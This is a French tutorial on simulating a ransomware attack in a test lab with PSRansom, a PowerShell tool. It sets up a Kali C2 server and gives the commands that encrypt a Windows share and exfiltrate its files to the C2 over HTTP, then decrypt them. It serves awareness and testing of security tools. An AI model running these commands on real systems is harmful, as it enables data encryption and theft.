Comment simuler le fonctionnement d’un ransomware avec PSRansom ?
Sommaire
I. Présentation
Dans ce tutoriel, nous allons simuler le fonctionnement d'un ransomware à l'aide de PSRansom, un outil basé sur deux scripts PowerShell, particulièrement simple à utiliser ! Pourquoi écrire un article à ce sujet ? Tout simplement, à des fins éducatives, de tests, de démonstration, de sensibilisation, mais aucun cas pour vous inciter à réaliser ce type d'acte malveillant. Par ailleurs, sur un environnement de tests et isolé de votre production, vous pouvez effectuer cette simulation pour voir comment réagissent vos outils de sécurité !
On entend régulièrement parler des attaques par ransomware, et on espère ne pas avoir à faire face à cette situation, mais qu'en est-il en pratique ? Comment cela fonctionne ? Même s'il existe de nombreuses manières de chiffrer des données, et qu'il y a plein de ransomwares différents, avec des fonctionnalités diverses et variées, grâce à l'outil PSRansom nous allons pouvoir effectuer une simulation réaliste. Cela est d'autant plus vrai que nous allons pouvoir appliquer le principe de la double extorsion !
PSRansom va permettre de mettre en œuvre un scénario basé sur deux machines :
- Un serveur de Command & Control (C2) destiné à recevoir les données exfiltrées par le ransomware via des requêtes HTTP
- Un serveur où sera exécuté le logiciel malveillant de type ransomware représenté par un script PowerShell qui va chiffrer les données du volume ou répertoire spécifié
- Le chiffrement est réalisé en AES-256, à l'aide d'une fonction d'une fonction PowerShell
Une fois que les données seront chiffrées (réellement), un fichier texte sera créé sur le serveur et ce dernier contient la clé de déchiffrement pour restaurer les données. Ainsi, le ransomware fictif intègre une fonction de restauration de données permettant de faire un retour arrière.
Le projet PSRansom est disponible à cet emplacement :
Attention : même s'il s'agit d'une simulation, ce n'est pas sans risque notamment si une mauvaise manipulation est effectuée donc utilisez cet outil sur un environnement de tests.
II. Déployer le serveur C2
Mon serveur C2 sera représenté par une machine sous Kali Linux, mais vous pouvez utiliser une autre distribution Linux, voire même une machine Windows. Sur cette machine, nous avons besoin de Git et de PowerShell puisque PSRansom est codé en PowerShell. Ce qui donne :
sudo apt-get update sudo apt-get install powershell git
Ensuite, on peut cloner le projet PSRansom en local pour récupérer les sources de notre ransomware fictif :
git clone https://github.com/JoelGMSec/PSRansom
Dans ce répertoire, il y a deux scripts intéressants :
- C2Server.ps1 à exécuter sur le serveur C2 pour le démarrer et qu'il soit en écoute
- PSRansom.ps1 à exécuter sur le serveur compromis pour chiffrer les données
À partir d'une console PowerShell ou de votre Shell, exécutez la commande ci-dessous pour que le serveur C2 soit en écoute sur toutes ses interfaces et sur le port 80 :
pwsh ./C2Server.ps1 + 80
On peut voir qu'il passe en attente de connexion :
Vous pouvez remplacer "+" par une adresse IP spécifique et configurée sur la machine locale. Si vous exécutez le serveur C2 sur une machine Windows, vous devez préciser "*" à la place de "+" pour écouter sur toutes les interfaces. Ici, j'utilise le port d'écoute "80" mais vous pouvez utiliser un autre port.
À partir du moment où le serveur C2 est démarré, vous pouvez accéder à la page Web en précisant l'adresse IP et le port, ce qui permet de vérifier le bon fonctionnement.
III. Simuler l'attaque par ransomware
Maintenant, nous allons pouvoir simuler l'attaque par ransomware sur la machine Windows compromise ! Ici, on va à l'essentiel en exécutant manuellement le script "PSRansom.ps1" sur l'hôte Windows puisque l'on ne s'intéresse pas à toute la phase de compromission de la machine en elle-même menant jusqu'à l'exécution de la charge finale.
Note : nous pourrions imaginer un scénario où le script PSRansom.ps1 est hébergé sur le serveur C2, et dans ce cas, il pourrait être chargé depuis le serveur compromis pour exécuter la charge utile.
Pour l'exemple, je vais m'attaquer aux données situées dans le répertoire "C:\Partage" :
Quant au script PSRansom, on peut consulter l'aide (depuis Windows ou Linux) avec cette commande :
# Windows .\PSRansom.ps1 -h # Linux pwsh ./PSRansom.ps1 -h
De ce fait, après avoir consulté l'aide, on peut démarrer le chiffrement des données en utilisant la commande suivant :
.\PSRansom.ps1 -e "C:\Partage" -s 192.168.100.71 -p 80 -x
Plus précisément, le ransomware fictif va chiffrer les données situées dans "C:\Partage" et exfiltrer les données en clair vers le serveur C2 accessible à l'adresse 192.168.100.71:80.
Du côté du serveur C2, on peut voir qu'une connexion est établie, et nous avons des détails sur l'hôte compromis. La clé de déchiffrement est également spécifiée, ainsi que le nom des fichiers reçus par le serveur C2.
D'ailleurs, les fichiers exfiltrés sont visibles dans le répertoire "C2Files" présente sur le serveur C2.
Sur le serveur compromis, les données ont hérité de l'extension ".psr" et elles sont illisibles, car elles sont chiffrées !
IV. Restaurer les données
Pas de panique ! Dans le fichier "readme.txt" déposé à la racine du répertoire "C:\Partage", on peut récupérer la clé de déchiffrement ! Lorsque l'attaque est réelle, ce fichier prend la forme d'une note de rançon où l'on va retrouver les informations pour contacter les cybercriminels et entrer en négociation, notamment au sujet du montant de la rançon dans le but d'obtenir la clé de déchiffrement.
Pour finir cette simulation, il ne reste plus qu'à déchiffrer les données avec cette commande :
.\PSRansom.ps1 -d "C:\Partage" -k <clé de déchiffrement>
Attention, si vous ne fournissez pas la bonne clé de déchiffrement, les données seront supprimés d'après les tests effectués. Après cette opération, les données sont de retour dans leur état d'origine !
V. Conclusion
Grâce à PSRansom, on peut simuler facilement une attaque par ransomware et faire une démonstration en quelques minutes. Le fait que tout soit fait via PowerShell le rend multi-OS et ne nécessite pas d'installer de nombreuses dépendances. Ce qui est intéressant dans le fonctionnement, c'est que ce sont les fichiers chiffrés qui sont transmis du serveur compromis vers le serveur C2, et ce dernier déchiffre les données en local. Même s'il s'agit d'un flux HTTP, les fichiers qui transitent sur le réseau sont chiffrés.
je veux savoir comment vous avez utiliser le dossier partage dans la machine compromise